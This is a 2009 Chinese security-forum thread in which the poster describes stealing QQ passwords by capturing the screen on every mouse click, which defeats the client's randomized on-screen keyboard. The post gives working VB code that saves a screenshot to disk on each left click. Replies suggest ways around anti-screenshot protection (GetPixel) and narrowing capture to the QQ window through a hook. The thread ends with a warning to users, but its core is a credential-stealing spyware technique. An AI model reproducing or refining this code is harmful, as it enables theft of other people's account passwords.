首页
社区
课程
招聘
[旧帖] [原创](谢谢斑竹邀请码已发)看来QQ的密码保护还不是无懈可击的 0.00雪花
发表于: 2009-8-20 08:32 1796

[旧帖] [原创](谢谢斑竹邀请码已发)看来QQ的密码保护还不是无懈可击的 0.00雪花

2009-8-20 08:32
1796
N久以前研究过盗号的程序,做过一个钩子,在QQ上做试验,没想到截过来的都是乱七八糟的东西。然后又用GetWindowText想直接从密码框里捞密码,结果又是乱的。。。看来腾讯对此还是下了功夫的。而且还加了另一道防线——屏幕小键盘。仔细研究一下,小键盘按键的排列还是随机的,看起来很安全。不过实际真是这样吗?这道“防线”是防住了盗号者的来犯,还是给了他们一个捷径呢?­

    今天我想起用屏幕截图的方式盗Q密,开始还以为腾讯会对此做出防备,后来又想腾讯再强也不会强到这种地步。于是就干起来。干了半个小时,看来腾讯真还是有疏忽。上几张图:
        




VB源码:­

Private Declare Function BitBlt Lib "gdi32" _­

                  (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, _­

                  ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, _­

                  ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long­

Private Declare Function GetDC Lib "user32" (ByVal hWnd As Long) As Long­

Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer­

Const SRCCOPY = &HCC0020Private Sub Form_Load()­

Picture1.AutoRedraw = True­

Picture1.Height = Screen.Height: Picture1.Width = Screen.Width­

End Sub ­

Private Sub Timer1_Timer()­

If GetAsyncKeyState(1) = -32767 Then­

  Static I­

  I = I + 1­

  BitBlt Picture1.hDC, 0, 0, Screen.Width, Screen.Height, GetDC(0), 0, 0, SRCCOPY­

  SavePicture Picture1.Image, "D:\pic\" & I & ".jpeg"­

End If­

End Sub ­

看来在腾讯修漏洞之前,还是老老实实用大键盘输吧,谁知道哪天有人把你号盗走?

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

上传的附件:
收藏
免费 0
支持
分享
最新回复 (14)
雪    币: 4560
活跃值: (1002)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
2
图挂了,楼主
2009-8-20 08:43
0
雪    币: 172
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
LZ,QQ空间里的图是不可以外链的呀~~
2009-8-20 08:49
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
QQ空间 百度空间 某些博客 图都不能外链  请点击右键  属性 查看地址 然后IE打开...
2009-8-20 08:54
0
雪    币: 164
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
4楼 的  真巧~   呵呵   还是弄个有效的链接吧
2009-8-20 09:07
0
雪    币: 43
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
OK  了  图用附件放上了
2009-8-20 10:04
0
雪    币: 86
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
看到图另外,呵呵呵
2009-8-20 11:03
0
雪    币: 5
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
道高一尺,魔高一丈!!!
2009-8-20 12:32
0
雪    币: 43
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
呵呵 以后大家可要小心哦
2009-8-20 12:55
0
雪    币: 370
活跃值: (52)
能力值: ( LV13,RANK:350 )
在线值:
发帖
回帖
粉丝
10
LZ暴力啊
依靠timer 准确性可能有问题
实际意义不大 但不实为一种思路
玩玩就好 不要干坏事哦
2009-8-20 14:25
0
雪    币: 43
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
不过Timer.Interval=1就绝对可以每次都拦到的。 能给一个邀请码吗?斑竹 谢谢哈。
2009-8-20 15:11
0
雪    币: 231
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
卡巴的软键盘可以阻止截屏
2009-8-20 15:48
0
雪    币: 43
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
阻止截屏?那不知道可不可以用GetPixel。一个个点拼成图。如果它连这个也拦了话。。。。
2009-8-20 15:54
0
雪    币: 57
活跃值: (105)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
14
用timer来截图存在问题,可以挂个钩子,如果当前窗体是qq2009,捕获鼠标的LeftButton事件来截图
2009-8-20 16:08
0
雪    币: 43
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
大家理解错了吧。我的TIMER就是配合getasynckeystate函数来达到鼠标钩子的效果的。我不可能一秒截1000张图。。。。。
2009-8-20 16:48
0
游客
登录 | 注册 方可回帖
返回
//